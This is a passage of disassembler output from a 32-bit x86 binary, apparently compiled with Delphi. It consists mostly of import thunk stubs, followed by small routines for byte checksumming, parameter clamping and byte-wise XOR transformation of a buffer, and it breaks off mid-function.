sub_400064E8	proc near		; CODE XREF: sub_4001464C+32p
		jmp	ds:dword_40024604
sub_400064E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064F0	proc near		; CODE XREF: sub_4000C710+22p
					; sub_4000C710+2Bp ...
		jmp	ds:dword_400245FC
sub_400064F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064F8	proc near		; CODE XREF: sub_40007BB4+37p
					; sub_40007EBC+58p ...
		jmp	ds:dword_400245F8
sub_400064F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006500	proc near		; CODE XREF: .itext:40019475p
		jmp	ds:dword_400245F4
sub_40006500	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006508	proc near		; CODE XREF: sub_4000C69C+2Ap
					; sub_4000C69C+3Ap ...
		jmp	ds:dword_400245F0
sub_40006508	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006510	proc near		; CODE XREF: sub_400171BC+E7p
					; sub_400171BC+110p
		jmp	ds:dword_400245EC
sub_40006510	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006518	proc near		; CODE XREF: sub_40012E54+23p
					; sub_40013448+11p ...
		jmp	ds:dword_400245E8
sub_40006518	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006520	proc near		; CODE XREF: sub_40012AF4+Fp
					; sub_40012C6C+16p ...
		jmp	ds:dword_400245E4
sub_40006520	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006528	proc near		; CODE XREF: sub_4000AAF4+53p
					; sub_4000AAF4+7Cp
		jmp	ds:dword_400245E0
sub_40006528	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006530	proc near		; CODE XREF: sub_40016F88+46p
		jmp	ds:dword_400245DC
sub_40006530	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006538	proc near		; CODE XREF: sub_40016F88+Dp
		jmp	ds:dword_400245D8
sub_40006538	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006540	proc near		; CODE XREF: sub_4000A81C+1Fp
		jmp	ds:dword_400245D4
sub_40006540	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006548	proc near		; CODE XREF: sub_40006758+28p
		jmp	ds:dword_400245D0
sub_40006548	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006550	proc near		; CODE XREF: sub_40016F88+3Dp
		jmp	ds:dword_400245CC
sub_40006550	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006558	proc near		; CODE XREF: sub_4000BD44+10p
		jmp	ds:dword_400245C8
sub_40006558	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006560	proc near		; CODE XREF: sub_4000C5B4+4p
					; sub_4000C5D0+13p ...
		jmp	ds:dword_400245C4
sub_40006560	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006568	proc near		; CODE XREF: sub_40009414+7Ep
					; sub_40009590+8Cp
		jmp	ds:dword_400245C0
sub_40006568	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006570	proc near		; CODE XREF: sub_400080E8+21p
		jmp	ds:dword_400245BC
sub_40006570	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006578	proc near		; CODE XREF: .itext:400198D8p
		jmp	ds:dword_400245B8
sub_40006578	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006580	proc near		; CODE XREF: sub_4000C410p
		jmp	ds:dword_400245B4
sub_40006580	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006588	proc near		; CODE XREF: sub_400092B0+4p
		jmp	ds:dword_400245B0
sub_40006588	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006590	proc near		; CODE XREF: sub_4000A868+1Ep
					; sub_4000A8B4+13p
		jmp	ds:dword_400245AC
sub_40006590	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006598	proc near		; CODE XREF: sub_4000ADE0+41p
					; sub_4000ADE0+5Cp ...
		jmp	ds:dword_400245A8
sub_40006598	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065A0	proc near		; CODE XREF: sub_4000C4D8+6p
					; sub_4000D28C+9p ...
		jmp	ds:dword_400245A4
sub_400065A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065A8	proc near		; CODE XREF: sub_4000C4D8+17p
					; sub_4000D260+19p ...
		jmp	ds:dword_400245A0
sub_400065A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065B0	proc near		; CODE XREF: sub_4000AF68+54p
					; sub_4000AF68+6Fp
		jmp	ds:dword_4002459C
sub_400065B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065B8	proc near		; CODE XREF: .itext:4001942Dp
					; .itext:4001949Dp
		jmp	ds:dword_40024598
sub_400065B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065C0	proc near		; CODE XREF: sub_400171BC+55p
		jmp	ds:dword_40024594
sub_400065C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065C8	proc near		; CODE XREF: sub_40009414+78p
					; sub_40009590+86p ...
		jmp	ds:dword_40024590
sub_400065C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065D0	proc near		; CODE XREF: sub_400179D4+5p
					; sub_400179D4+16p ...
		jmp	ds:dword_4002458C
sub_400065D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065D8	proc near		; CODE XREF: sub_4000B830+Ep
		jmp	ds:dword_40024588
sub_400065D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065E0	proc near		; CODE XREF: sub_400133D4+2Fp
					; sub_4001394C+1Fp ...
		jmp	ds:dword_40024584
sub_400065E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065E8	proc near		; CODE XREF: sub_40012AF4+5Bp
					; sub_40012C6C+5Dp ...
		jmp	ds:dword_40024580
sub_400065E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065F0	proc near		; CODE XREF: sub_400173FC+3Bp
		jmp	ds:dword_4002457C
sub_400065F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400065F8	proc near		; CODE XREF: sub_40016F88+29p
		jmp	ds:dword_40024578
sub_400065F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006600	proc near		; CODE XREF: sub_40016F88+31p
		jmp	ds:dword_40024574
sub_40006600	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006608	proc near
		jmp	ds:dword_40024570
sub_40006608	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006610	proc near		; CODE XREF: sub_400165F0+3Bp
					; sub_400165F0+80p
		jmp	ds:dword_4002456C
sub_40006610	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006618	proc near		; CODE XREF: sub_400171BC+12Ap
		jmp	ds:dword_40024568
sub_40006618	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006620	proc near		; CODE XREF: sub_4000C758+4p
		jmp	ds:dword_40024564
sub_40006620	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006628	proc near		; CODE XREF: sub_4000C764+4p
					; sub_4000C770+4p
		jmp	ds:dword_40024560
sub_40006628	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006630	proc near		; CODE XREF: sub_400171BC+F8p
		jmp	ds:dword_4002455C
sub_40006630	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006638	proc near		; CODE XREF: sub_40016F88+1Bp
		jmp	ds:dword_40024558
sub_40006638	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006640	proc near		; CODE XREF: sub_400179D4+11p
					; sub_400179D4+22p
		jmp	ds:dword_40024554
sub_40006640	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006648	proc near		; CODE XREF: sub_4000ADE0+1Dp
					; sub_4000B488+6Bp
		jmp	ds:dword_40024550
sub_40006648	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006650	proc near		; CODE XREF: sub_4000C77C+8p
					; sub_4000C78C+8p
		jmp	ds:dword_4002454C
sub_40006650	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006658	proc near		; CODE XREF: sub_400171BC+179p
		jmp	ds:dword_40024548
sub_40006658	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006660	proc near		; CODE XREF: sub_4000AF68+5Ap
					; sub_4000AF68+75p ...
		jmp	ds:dword_40024544
sub_40006660	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006668	proc near		; CODE XREF: .itext:4001948Ep
		jmp	ds:dword_40024540
sub_40006668	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006670	proc near		; CODE XREF: sub_40015270+ABp
		jmp	ds:dword_40024538
sub_40006670	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006678	proc near		; CODE XREF: sub_40014F8C+1D1p
		jmp	ds:dword_40024534
sub_40006678	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006680	proc near		; CODE XREF: sub_4001567C+10Bp
		jmp	ds:dword_40024530
sub_40006680	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006688	proc near		; CODE XREF: sub_400151D0+63p
		jmp	ds:dword_4002452C
sub_40006688	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006690	proc near		; CODE XREF: sub_40015840+6Cp
		jmp	ds:dword_40024528
sub_40006690	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006698	proc near		; CODE XREF: sub_40015C34+78p
		jmp	ds:dword_40024524
sub_40006698	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066A0	proc near		; CODE XREF: sub_40015430+19p
		jmp	ds:dword_40024520
sub_400066A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066A8	proc near		; CODE XREF: sub_4001567C+4Ap
		jmp	ds:dword_4002451C
sub_400066A8	endp

; ---------------------------------------------------------------------------
		align 10h
		db 0FFh
		db  25h	; %
		db  18h	;  OFF32 SEGDEF	[_idata,40024518]
		db  45h	; E
		db    2
		db  40h	; @
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066B8	proc near		; CODE XREF: sub_4001567C+69p
					; sub_4001567C+8Dp ...
		jmp	ds:dword_40024514
sub_400066B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066C0	proc near		; CODE XREF: sub_40015918+26p
		jmp	ds:dword_40024510
sub_400066C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066C8	proc near		; CODE XREF: sub_40015380+1Fp
		jmp	ds:dword_4002450C
sub_400066C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066D0	proc near		; CODE XREF: sub_40015478+26p
					; sub_40015478+35p ...
		jmp	ds:dword_40024508
sub_400066D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066D8	proc near		; CODE XREF: sub_40015840+56p
		jmp	ds:dword_40024504
sub_400066D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066E0	proc near		; CODE XREF: sub_40015600+41p
					; sub_40015600+67p
		jmp	ds:dword_40024500
sub_400066E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066E8	proc near		; CODE XREF: sub_40015600+4Cp
					; sub_40015600+72p
		jmp	ds:dword_400244FC
sub_400066E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066F0	proc near		; CODE XREF: sub_400155D0+29p
		jmp	ds:dword_400244F8
sub_400066F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400066F8	proc near		; CODE XREF: sub_400155A4+25p
		jmp	ds:dword_400244F4
sub_400066F8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006700	proc near		; CODE XREF: sub_40015600+Cp
		jmp	ds:dword_400244F0
sub_40006700	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006708	proc near		; CODE XREF: sub_4000BB60+Dp
					; sub_4000BB80+1p
		jmp	ds:dword_400244E4
sub_40006708	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006710	proc near		; CODE XREF: sub_4000AF68+37p
		jmp	ds:dword_400244E8
sub_40006710	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006718	proc near		; CODE XREF: sub_4001567C+2Ep
					; sub_40015918+9p
		jmp	ds:dword_400244E0
sub_40006718	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006720	proc near		; CODE XREF: sub_40014D5C+Ap
		jmp	ds:dword_400244DC
sub_40006720	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006728	proc near		; CODE XREF: sub_4000BDA0+75p
					; sub_4000BDA0+84p
		jmp	ds:dword_400244D8
sub_40006728	endp

; ---------------------------------------------------------------------------
		align 10h
		db 0FFh
		db  25h	; %
		db 0D4h	; Ô OFF32 SEGDEF [_idata,400244D4]
		db  44h	; D
		db    2
		db  40h	; @
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006738	proc near		; CODE XREF: sub_4000ADE0+F2p
					; sub_4000AF68+97p
		jmp	ds:dword_400244D0
sub_40006738	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006740	proc near		; CODE XREF: sub_4000AF68+ADp
		jmp	ds:dword_400244CC
sub_40006740	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006748	proc near		; CODE XREF: sub_4001567C+F7p
					; sub_40015918+37p
		jmp	ds:dword_400244C8
sub_40006748	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40006750	proc near		; CODE XREF: sub_40017A1C+E2p
					; sub_40017A1C+137p
		xchg	eax, edx
		call	sub_40002DFC
		retn
sub_40006750	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006758	proc near		; DATA XREF: .text:40018330o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40006793
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001E800
		jnz	short loc_40006785
		cmp	ds:dword_4001E804, 0
		jz	short loc_40006785
		mov	eax, ds:dword_4001E804
		push	eax
		call	sub_40006548	; FreeLibrary


loc_40006785:				; CODE XREF: sub_40006758+17j
					; sub_40006758+20j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000679A


loc_40006792:				; CODE XREF: sub_40006758+40j
		retn
; ---------------------------------------------------------------------------


loc_40006793:				; DATA XREF: sub_40006758+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40006792
; ---------------------------------------------------------------------------


loc_4000679A:				; CODE XREF: sub_40006758:loc_40006792j
					; DATA XREF: sub_40006758+35o
		pop	ebp
		retn
sub_40006758	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000679C	proc near		; CODE XREF: sub_4000684C+C4p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40006838
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_400067D6
		sub	eax, 4
		mov	eax, [eax]


loc_400067D6:				; CODE XREF: sub_4000679C+33j
		mov	ecx, eax
		test	ecx, ecx
		jle	short loc_4000680F
		mov	ebx, 1


loc_400067E1:				; CODE XREF: sub_4000679C+5Aj
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+ebx-1]
		movzx	eax, al
		xor	edx, edx
		add	[ebp+var_10], eax
		adc	[ebp+var_C], edx
		inc	ebx
		dec	ecx
		jnz	short loc_400067E1
		jmp	short loc_4000680F
; ---------------------------------------------------------------------------


loc_400067FA:				; CODE XREF: sub_4000679C+80j
					; sub_4000679C:loc_40006820j
		push	0
		push	2
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		call	sub_400056C0
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx


loc_4000680F:				; CODE XREF: sub_4000679C+3Ej
					; sub_4000679C+5Cj
		cmp	[ebp+var_C], 0
		jnz	short loc_40006820
		cmp	[ebp+var_10], 0FFh
		ja	short loc_400067FA
		jmp	short loc_40006822
; ---------------------------------------------------------------------------


loc_40006820:				; CODE XREF: sub_4000679C+77j
		jg	short loc_400067FA


loc_40006822:				; CODE XREF: sub_4000679C+82j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000683F


loc_4000682F:				; CODE XREF: sub_4000679C+A1j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40006838:				; DATA XREF: sub_4000679C+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000682F
; ---------------------------------------------------------------------------


loc_4000683F:				; CODE XREF: sub_4000679C+9Bj
					; DATA XREF: sub_4000679C+8Eo
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4000679C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000684C	proc near		; CODE XREF: sub_40006A2C+53p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40006948
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	dword ptr [ebx], 0
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+0Ch], 0
		mov	dword ptr [ebx+10h], 0
		mov	dword ptr [ebx+14h], 0
		cmp	[ebp+arg_C], 0
		jnz	short loc_400068A3
		cmp	[ebp+arg_8], 1
		jnb	short loc_400068B3
		jmp	short loc_400068A5
; ---------------------------------------------------------------------------


loc_400068A3:				; CODE XREF: sub_4000684C+4Dj
		jge	short loc_400068B3


loc_400068A5:				; CODE XREF: sub_4000684C+55j
		mov	[ebp+arg_8], 1
		mov	[ebp+arg_C], 0


loc_400068B3:				; CODE XREF: sub_4000684C+53j
					; sub_4000684C:loc_400068A3j
		cmp	[ebp+arg_C], 0
		jnz	short loc_400068C1
		cmp	[ebp+arg_8], 64h
		jbe	short loc_400068D1
		jmp	short loc_400068C3
; ---------------------------------------------------------------------------


loc_400068C1:				; CODE XREF: sub_4000684C+6Bj
		jle	short loc_400068D1


loc_400068C3:				; CODE XREF: sub_4000684C+73j
		mov	[ebp+arg_8], 63h
		mov	[ebp+arg_C], 0


loc_400068D1:				; CODE XREF: sub_4000684C+71j
					; sub_4000684C:loc_400068C1j
		cmp	[ebp+arg_4], 0
		jnz	short loc_400068DF
		cmp	[ebp+arg_0], 1
		jnb	short loc_400068EF
		jmp	short loc_400068E1
; ---------------------------------------------------------------------------


loc_400068DF:				; CODE XREF: sub_4000684C+89j
		jge	short loc_400068EF


loc_400068E1:				; CODE XREF: sub_4000684C+91j
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_4], 0


loc_400068EF:				; CODE XREF: sub_4000684C+8Fj
					; sub_4000684C:loc_400068DFj
		cmp	[ebp+arg_4], 0
		jnz	short loc_400068FD
		cmp	[ebp+arg_0], 64h
		jbe	short loc_4000690D
		jmp	short loc_400068FF
; ---------------------------------------------------------------------------


loc_400068FD:				; CODE XREF: sub_4000684C+A7j
		jle	short loc_4000690D


loc_400068FF:				; CODE XREF: sub_4000684C+AFj
		mov	[ebp+arg_0], 64h
		mov	[ebp+arg_4], 0


loc_4000690D:				; CODE XREF: sub_4000684C+ADj
					; sub_4000684C:loc_400068FDj
		mov	eax, [ebp+var_4]
		call	sub_4000679C
		mov	[ebx], eax
		mov	[ebx+4], edx
		mov	eax, [ebp+arg_8]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_C]
		mov	[ebx+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[ebx+10h], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+14h], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4000694F


loc_4000693F:				; CODE XREF: sub_4000684C+101j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40006948:				; DATA XREF: sub_4000684C+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4000693F
; ---------------------------------------------------------------------------


loc_4000694F:				; CODE XREF: sub_4000684C+FBj
					; DATA XREF: sub_4000684C+EEo
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4000684C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006958	proc near		; CODE XREF: sub_40006A2C+60p

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [ebp+var_20]
		push	ecx
		mov	ecx, 6
		rep movsd
		pop	ecx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40006A1C
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	esi, [ebp+var_4]
		mov	eax, esi
		test	eax, eax
		jz	short loc_40006999
		sub	eax, 4
		mov	eax, [eax]


loc_40006999:				; CODE XREF: sub_40006958+3Aj
		mov	edx, [ebp+var_8]
		xchg	eax, edx
		call	sub_40004F74
		mov	ebx, [ebp+var_18]
		mov	eax, esi
		test	eax, eax
		jz	short loc_400069B0
		sub	eax, 4
		mov	eax, [eax]


loc_400069B0:				; CODE XREF: sub_40006958+51j
		mov	edi, eax
		test	edi, edi
		jle	short loc_40006A06
		mov	esi, 1


loc_400069BB:				; CODE XREF: sub_40006958+ACj
		mov	eax, ebx
		cdq
		cmp	edx, [ebp+var_C]
		jnz	short loc_400069CA
		cmp	eax, [ebp+var_10]
		jbe	short loc_400069CF
		jmp	short loc_400069CC
; ---------------------------------------------------------------------------


loc_400069CA:				; CODE XREF: sub_40006958+69j
		jle	short loc_400069CF


loc_400069CC:				; CODE XREF: sub_40006958+70j
		mov	ebx, [ebp+var_18]


loc_400069CF:				; CODE XREF: sub_40006958+6Ej
					; sub_40006958:loc_400069CAj
		mov	eax, [ebp+var_8]
		call	sub_40004DA0
		lea	eax, [eax+esi-1]
		push	eax
		mov	eax, [ebp+var_4]
		movzx	eax, byte ptr [eax+esi-1]
		movzx	eax, al
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, ebx
		cdq
		add	eax, [ebp+var_20]
		adc	edx, [ebp+var_1C]
		xor	eax, [esp+44h+var_44]
		xor	edx, [esp+44h+var_40]
		add	esp, 8
		pop	edx
		mov	[edx], al
		inc	ebx
		inc	esi
		dec	edi
		jnz	short loc_400069BB


loc_40006A06:				; CODE XREF: sub_40006958+5Cj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40006A23


loc_40006A13:				; CODE XREF: sub_40006958+C9j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40006A1C:				; DATA XREF: sub_40006958+28o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40006A13
; ---------------------------------------------------------------------------


loc_40006A23:				; CODE XREF: sub_40006958+C3j
					; DATA XREF: sub_40006958+B6o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40006958	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006A2C	proc near		; CODE XREF: sub_40017374+4Fp
					; .itext:40019618p ...

var_20		= byte ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		mov	ebx, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		mov	eax, [ebp+var_8]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40006AAC
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_40006A65
		sub	eax, 4
		mov	eax, [eax]


loc_40006A65:				; CODE XREF: sub_40006A2C+32j
		mov	edx, ebx
		xchg	eax, edx
		call	sub_40004F74
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_8]
		call	sub_4000684C
		mov	ecx, ebx
